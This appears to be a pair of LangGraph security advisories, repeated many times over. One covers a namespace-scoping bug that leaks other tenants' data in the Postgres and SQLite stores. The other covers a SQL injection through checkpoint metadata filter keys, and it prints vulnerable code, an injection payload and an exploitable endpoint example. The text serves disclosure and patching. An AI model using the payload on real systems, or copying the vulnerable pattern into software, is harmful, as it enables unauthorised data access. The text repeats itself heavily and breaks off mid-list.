Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

